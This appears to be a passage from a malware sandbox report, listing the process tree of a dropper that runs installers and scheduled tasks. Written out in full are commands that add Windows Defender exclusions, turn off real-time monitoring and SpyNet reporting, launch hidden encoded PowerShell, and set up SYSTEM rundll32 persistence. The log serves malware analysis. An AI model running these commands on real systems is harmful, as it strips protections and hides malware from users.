PID 2532 wrote to memory of 2516 2532 cmd.exe 40
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1580 -
C:\Users\Admin\AppData\Local\Temp\7zS9463.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Users\Admin\AppData\Local\Temp\7zS9685.tmp\Install.exe.\Install.exe /vNdide "525403" /S3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:2532 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵PID:2484
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵PID:2516
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:2540 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵PID:2480
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵PID:2500
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gjhlHTweK" /SC once /ST 00:45:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
PID:2548
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gjhlHTweK"4⤵PID:2900
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gjhlHTweK"4⤵PID:1512
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "byVqvYMHXaoMZDRgRv" /SC once /ST 03:22:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\nbjEzVI.exe\" SL /rnsite_idBGi 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1652
-
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {7CB3632E-544E-4A3D-A5E5-66B15D2B2712} S-1-5-21-2085049433-1067986815-1244098655-1000:AHLBRYJO\Admin:Interactive:[1]1⤵PID:1500
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:988 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:944
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:480
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:980 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:2992
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1940 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:3048
-
-
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2584
-
C:\Windows\system32\taskeng.exetaskeng.exe {E2C36BAD-B6DE-40C5-B264-669653479119} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:2032
-
C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\nbjEzVI.exeC:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\nbjEzVI.exe SL /rnsite_idBGi 525403 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:2396 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gslAjnvCd" /SC once /ST 00:40:49 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
PID:2092
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gslAjnvCd"3⤵PID:1680
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gslAjnvCd"3⤵PID:1068
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:323⤵PID:2112
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:324⤵
- Modifies Windows Defender Real-time Protection settings
PID:2036
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:643⤵PID:2040
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:644⤵
- Modifies Windows Defender Real-time Protection settings
PID:2428
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gkdLQhSsf" /SC once /ST 01:13:49 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
PID:1524
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gkdLQhSsf"3⤵PID:948
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gkdLQhSsf"3⤵PID:3004
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:323⤵PID:1460
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2084
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:643⤵PID:1368
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2068
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:323⤵PID:2104
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:324⤵PID:2248
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:643⤵PID:1596
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:644⤵PID:2000
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\nHkJQUniIMPgfrVz\lShPwFkz\LhCPbeYGjfdDpPoT.wsf"3⤵PID:1604
-
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\nHkJQUniIMPgfrVz\lShPwFkz\LhCPbeYGjfdDpPoT.wsf"3⤵
- Modifies data under HKEY_USERS
PID:2120 -
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2968
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2408
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2708
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2512
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2612
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2480
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2500
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2700
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2892
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2716
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ihUYOsbkXmStDhVB" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:1220
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ihUYOsbkXmStDhVB" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:1188
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:940
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:240
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:3056
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2524
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:936
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2156
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:324⤵PID:1612
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:644⤵PID:1124
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:324⤵PID:2020
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:644⤵PID:1148
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:324⤵PID:1624
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:644⤵PID:1164
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:324⤵PID:2580
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:644⤵PID:2784
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:324⤵PID:1792
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:644⤵PID:2372
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ihUYOsbkXmStDhVB" /t REG_DWORD /d 0 /reg:324⤵PID:2664
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ihUYOsbkXmStDhVB" /t REG_DWORD /d 0 /reg:644⤵PID:2052
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵PID:3044
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵PID:2344
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK" /t REG_DWORD /d 0 /reg:324⤵PID:2044
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK" /t REG_DWORD /d 0 /reg:644⤵PID:2128
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:324⤵PID:1544
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:644⤵PID:1528
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "goAbefNHU" /SC once /ST 02:35:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
PID:1672
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "goAbefNHU"3⤵PID:1932
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "goAbefNHU"3⤵PID:2432
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:323⤵PID:2356
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:324⤵PID:2176
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:643⤵PID:1608
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:644⤵PID:1604
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "YdWhrynxKGQiTdtBc" /SC once /ST 00:51:25 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\ZxxbjGb.exe\" og /iesite_idxYy 525403 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2384
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "YdWhrynxKGQiTdtBc"3⤵PID:2696
-
-
-
C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\ZxxbjGb.exeC:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\ZxxbjGb.exe og /iesite_idxYy 525403 /S2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2408 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "byVqvYMHXaoMZDRgRv"3⤵PID:2528
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:2760
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:324⤵PID:2788
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:2712
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:644⤵PID:2520
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\xaXHhbBRU\KzZSrS.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "NmaEDVxnjLfXRnq" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2604
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NmaEDVxnjLfXRnq2" /F /xml "C:\Program Files (x86)\xaXHhbBRU\aYxBDzP.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:2588
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "NmaEDVxnjLfXRnq"3⤵PID:2872
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "NmaEDVxnjLfXRnq"3⤵PID:1128
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "hqgMwoyDSsIoWX" /F /xml "C:\Program Files (x86)\mBUaPyDkTUtU2\LWqgEUs.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:2912
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "RZYQSfteLooPz2" /F /xml "C:\ProgramData\ihUYOsbkXmStDhVB\SvhQOdJ.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:2108
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ouYyMlgHVVVhUNspw2" /F /xml "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\RfovWyy.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:2936
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "akaEizNpwrKtYZfeYHH2" /F /xml "C:\Program Files (x86)\cnKtfofVELLNC\khLZtHm.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:2932
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "fORmCKMRpgzCRPXvW" /SC once /ST 01:50:56 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nHkJQUniIMPgfrVz\HUUMOuIe\kFLCKCQ.dll\",#1 /iBsite_ideCt 525403" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2992
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "fORmCKMRpgzCRPXvW"3⤵PID:2432
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵PID:2628
-
